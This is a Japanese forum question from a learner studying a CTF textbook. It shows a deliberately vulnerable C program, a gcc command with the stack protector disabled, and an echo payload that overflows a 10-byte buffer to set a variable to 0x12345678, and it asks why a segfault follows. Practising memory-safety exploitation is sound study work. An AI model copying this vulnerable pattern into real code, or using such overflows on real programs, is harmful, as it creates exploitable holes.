(またセキュリティコンテストチャレンジブックという本の内容からです。)
下記に書いたコードで標準入出力からバッファオーバーフローを引き起こし、指定の変数を書き換えif文内のコードを実行させたいのですが、Segmentation Faultがでてしまいif文内のコードが実行されず終了してします。(OSはlinux系を利用しています)
C
1//bof2.c 2#include<stdio.h> 3 4int main(int argc, char *argv[]) 5{ 6 char buffer[10]; 7 int zero = 0; 8 9 fgets(buffer, 64, stdin); 10 printf("zero = %x\n", zero); 11 if(zero == 0x12345678){ 12 printf("congrats!\n"); 13 } 14 //printf("check!"); 15 16 return 0; 17} 18
gcc -m32 -fno-stack-protector -o bof2 bof2.c echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2 出力結果 zero = 12345678 Segmentation fault
ここで上記コードのコメントアウトしている箇所を追加すると、
下記のような出力結果となりif文内が実行され、追加した部分のprintf("check!");が実行される手前でSegmentation Faultによって終了されます。
出力結果 zero = 12345678 congrats! Segmentation fault
このような動作になっている理由がわからない状況です。どなたかお願いします。
回答2件
あなたの回答
tips
プレビュー
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。